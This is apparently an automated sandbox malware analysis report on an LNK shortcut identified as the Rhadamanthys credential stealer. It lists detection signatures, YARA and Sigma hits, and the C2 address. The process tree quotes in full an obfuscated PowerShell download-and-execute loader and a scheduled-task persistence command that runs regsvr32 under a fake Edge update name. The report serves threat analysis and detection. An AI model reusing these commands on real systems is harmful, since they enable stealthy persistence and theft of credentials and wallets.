Edit tour

Windows Analysis Report
rpQF1aDIK4.lnk

Overview

General Information

Sample name:	rpQF1aDIK4.lnk renamed because original name is a hash value
Original sample name:	a83e7ec9997f8e98ae0a3e27c20430d9711215bc71591406688312f8663c7e1b.lnk
Analysis ID:	1529311
MD5:	6195bc34ba803cfe39d32856f6dc9546
SHA1:	7df2be096948fdc9590658a6e16a15250e5f4973
SHA256:	a83e7ec9997f8e98ae0a3e27c20430d9711215bc71591406688312f8663c7e1b
Tags:	lnkrocketdocs-loluser-JAMESWT_MHT
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Powershell download and execute

Yara detected RHADAMANTHYS Stealer

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Obfuscated command line found

Powershell creates an autostart link

Powershell drops PE file

Sets debug register (to hijack the execution of another thread)

Sigma detected: Execution from Suspicious Folder

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to several IPs in different countries

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to detect virtual machines (STR)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Dllhost Internet Connection

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7372 cmdline: "C:\Windows\system32\cmd.exe" /c p""ow""er""s""h""ell/""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7456 cmdline: p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit MD5: 04029E121A0CFA5991749937DD22A1D9)

ajbs50ul.bat (PID: 7664 cmdline: "C:\Users\Public\ajbs50ul.bat" MD5: 8837DF25AABC4FAD85E851ACA192F714)

powershell.exe (PID: 7680 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 1172 cmdline: "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

utox_x86_x64.exe (PID: 7916 cmdline: "C:\Users\user\Desktop\utox_x86_x64.exe" MD5: E9679980AA73CFC7CF00F3DA7949C661)

regsvr32.exe (PID: 7908 cmdline: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

OpenWith.exe (PID: 8144 cmdline: "C:\Windows\system32\openwith.exe" MD5: E4A834784FA08C17D47A1E72429C5109)

wmpshare.exe (PID: 2832 cmdline: "C:\Program Files\Windows Media Player\wmpshare.exe" MD5: A89F75B51EAADA8C97F8D674B3EDB2F2)

dllhost.exe (PID: 4152 cmdline: "C:\Windows\system32\dllhost.exe" MD5: 08EB78E5BE019DF044C26B14703BD1FA)

rekeywiz.exe (PID: 1136 cmdline: "C:\Windows\system32\rekeywiz.exe" MD5: A24EFFD38DDC2FFAB4F0592CA2CC585E)

rekeywiz.exe (PID: 7172 cmdline: "C:\Windows\system32\rekeywiz.exe" MD5: A24EFFD38DDC2FFAB4F0592CA2CC585E)

powershell.exe (PID: 7404 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 1592 cmdline: "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 1072 cmdline: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88 https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/Rhdamanthys/Rhadamanthys-EN.pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Malware Configuration

Threatname: Rhadamanthys

{"C2 url": "https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000D.00000003.1611964049.000000001B570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.1527920288.000000001B790000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1649906387.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1641470345.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1665094576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1718717890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1732851639.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1637017086.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1673234389.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1536321873.0000022BF57D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1635336719.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1716617542.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1669024902.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1734062423.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000C.00000003.1647188143.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1719239524.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1540794217.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000C.00000003.1643307727.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000C.00000003.1645446937.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1661819733.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1671905824.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1667796484.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1645979631.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1820192855.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1640027793.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1720627050.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1643999295.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1641144578.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1663391572.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1639097496.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000003.1533339761.000000001C860000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000C.00000003.1685422890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1677206150.0000022BF85F5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1667329576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1676927286.0000022BF85F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1684103225.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1657379194.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1719572786.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1681955679.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1733626617.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1662264222.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000D.00000002.1633957814.000000001BC61000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1669915466.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1728712322.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1664818861.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1668657426.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1644462147.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1718358632.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1636694743.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1717013447.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1664199634.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1643580454.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1650284949.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1660904997.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1637756767.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1656922103.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1720226582.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1633368508.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1666919810.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1634857555.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1638233166.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1729281119.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1672457326.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1643036259.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1670609003.0000022BF85F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1717903072.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1658624595.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1633368508.0000022BF8501000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1656035942.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000002.1561583400.000000001BF81000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1717469357.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1639794446.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1646734442.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000003.1663918695.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7456	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: regsvr32.exe PID: 7908	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: OpenWith.exe PID: 8144	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: OpenWith.exe PID: 8144	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 86 entries

Unpacked PEs

Source	Rule	Description	Author
12.3.OpenWith.exe.22bf7cc0000.4.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.regsvr32.exe.1c860000.5.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
12.3.OpenWith.exe.22bf7fa0000.5.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.regsvr32.exe.1c580000.4.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
12.3.OpenWith.exe.22bf7fa0000.5.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.regsvr32.exe.1c860000.5.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.regsvr32.exe.1c580000.4.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
12.3.OpenWith.exe.22bf7cc0000.4.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 3 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7456.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\ajbs50ul.bat" , CommandLine: "C:\Users\Public\ajbs50ul.bat" , CommandLine|base64offset|contains: , Image: C:\Users\Public\ajbs50ul.bat, NewProcessName: C:\Users\Public\ajbs50ul.bat, OriginalFileName: C:\Users\Public\ajbs50ul.bat, ParentCommandLine: p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7456, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\ajbs50ul.bat" , ProcessId: 7664, ProcessName: ajbs50ul.bat

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DesusertionIp: 104.223.122.15, DesusertionIsIpv6: false, DesusertionPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\utox_x86_x64.exe, Initiated: true, ProcessId: 7916, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49866

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine|base64offset|contains: -, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\Public\ajbs50ul.bat" , 